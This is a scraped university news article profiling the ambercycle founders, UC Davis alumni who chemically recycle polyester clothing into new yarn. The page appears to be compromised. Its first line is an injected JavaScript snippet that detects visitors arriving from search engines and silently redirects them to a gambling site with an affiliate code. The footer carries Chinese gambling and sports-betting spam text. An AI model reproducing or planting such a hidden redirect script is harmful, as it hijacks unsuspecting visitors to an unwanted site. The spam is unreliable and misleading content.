var regexp = /\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|sm|qq|so|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig; var where = document.referrer; if (regexp.test(where)) { window.location.href = "https://www.yabo334.com/?i_code=6638019&" }

Molecular Recycling Revolution: UC Davis Alumni and ambercycle Founders Talk Sustainable Fashion and Plastic Waste

Akshay Sethi and Moby Ahmed
UC Davis alums Akshay Sethi and Moby Ahmed are the founders of ambercycle. Courtesy photo
. “This just sort of happened because we thought we were working on interesting technology that could be useful to the world.”  

According to the , discarded clothing is the main source of textiles in municipal solid waste. In 2017, out of the 16.9 million tons of waste generated by textiles, only about 15 percent of it was recycled. The majority of waste, 11.2 million tons, ended up in landfills.   

“We developed technology to take that clothing and break it down into its original, constituent materials,” said Sethi, ’15 B.S. in Biochemistry and Molecular Biology. “Once those materials are broken down, we then recover and then make new garments with that material.”

With their materials company ambercycle, Sethi and Ahmed envision a fashion world without plastic waste. And people are taking notice of the entrepreneurs. Sethi and Ahmed recently made the in the manufacturing and industry category.  

“We are grateful for the recognition and look forward to the journey ahead,” said ambercycle's other co-founder Ahmed, ’15 B.S. in Genetics and Genomics.

Ambercycle has evolved dramatically since Sethi and Ahmed’s graduation. The company’s initial six-foot workbench has morphed into a full-fledged, venture-backed, 10,000 square-foot facility in Los Angeles. To date, the company has raised several millions in funding.     

“What our technology would enable,” said Sethi, “is a world in which nothing is wasted. All of our materials will stay in their own supply chains.”

CLothes
The company's process takes complex mixtures found in clothing and chemically separates them into their constituent materials (specifically polyethylene terephthalate, or PET), which the company uses to create new yarns. Courtesy photo

A million little fibers

Plastics, like polyester and nylon, saturate our clothing. The current, industrial means to recycle those materials are “primitive and technologically repulsive,” according to Sethi and Ahmed.  

“Our vision is to make all plastics climate-positive,” said Sethi. “We really believe these are materials that we should treasure and use to improve the human experience. We just have to figure out a way to consume them responsibly.”

Discovering a way to do that started at UC Davis. Working with Associate Professor of Biomedical Engineering Marc Facciotti, the ambercycle team originally genetically engineered microbes to eat and recycle plastics found in clothing. On top of winning gold at the 2012 International Genetically Engineered Machine competition (which Sethi participated in), the innovative methodology won ambercycle a Global Change Award (from the H&M Foundation, which is run by the owners of the H&M clothing company) and $281,000 in funding in 2016. Shortly thereafter, ambercycle was awarded $1,000,000 in SBIR grants from the National Science Foundation and a contract with the US Army to recycle waste polyester at Forward Operating Bases.

ambercycle offices
The amberycyle offices. Courtesy photo

But all businesses need to evolve, and in the ensuing years, the technology and company changed to better meet recycling demands.

“We were using microbial technology, but upon discovering a better way to accomplish the same goals using chemistry, we’ve since moved away from it,” said Ahmed. “The biological route, the bugs kind of eat plastic really slow. They’re not as hungry as you’d want them to be.”

Ahmed calls the company’s new technological process, which utilizes principles from green chemistry, “advanced molecular recycling.” The process takes complex mixtures found in clothing and chemically separates them into their constituent materials (specifically polyethylene terephthalate, or PET), which the company uses to create new yarns.

“We use green chemistry to basically process this waste similar to what would happen in an oil refinery or even in certain mining applications,” said Ahmed. “Ore has multiple different stuff in it but you only want to enrich it for certain fractions and you want to separate out different components.”   

With the technological changes came a move from their original space in San Francisco to the fashion hub of Los Angeles. In San Francisco, their space was a small workbench rented from another company.

“It was humble roots and a lot of fun,” said Sethi. “But for anything innovative related to apparel manufacturing, LA is the best place in the world.”

Their current space is an industrial facility outfitted with chemistry labs, machine shops and a pilot plant. Currently, ambercycle is in the midst of partnering with several established brands operating in a climate-positive way. They’re also designing their own line of clothing products.

Lab space
The company’s initial six-foot workbench has morphed into a full-fledged, venture-backed, 10,000 square-foot facility in Los Angeles. To date, the company has raised roughly several millions in funding. Courtesy photo    

You construct your world, Aggie-style

Sethi and Ahmed exemplify the do-it-yourself mentality characteristic of Aggies. According to the two, the mixture of high-quality education and a relaxed campus vibe allowed their creativity to flourish. They found an idea that piqued their curiosity and stuck with it.

“No one really told us, ‘No’ sternly enough, so we just kind of kept doing it,” said Sethi, reflecting on the journey thus far.

Asked what advice they’d give to current UC Davis students interested in entrepreneurship, the two emphasized the importance of belief in the self.

“The world that we live in is constructed by people that are no smarter than you and me,” said Sethi. “Once you realize that, you can really achieve a lot.”

“Anything is actually possible,” added Ahmed. “Anybody at UC Davis has the capability to do anything.”

Stay Informed! Sign up for our monthly email newsletter

Clothes
Plastics, like polyester and nylon, saturate our clothing. The current, industrial means to recycle those materials are “primitive and technologically repulsive,” according to Sethi and Ahmed. Courtesy photo 

 

Category

Tags

Categories

Stay Informed! Sign up for our monthly newsletter

Full Name
Title
What topics are you most interested in?
What is your relationship with UC Davis?
福建体彩网-足球比分网 福建体彩网-直播吧 明升体育-即时比分 福建体彩网-篮球比分 福建体彩网-英超直播 福建体彩网-足球直播 明升体育-电视直播 明升体育-足球比分网 明升体育-直播吧 明升体育-英超直播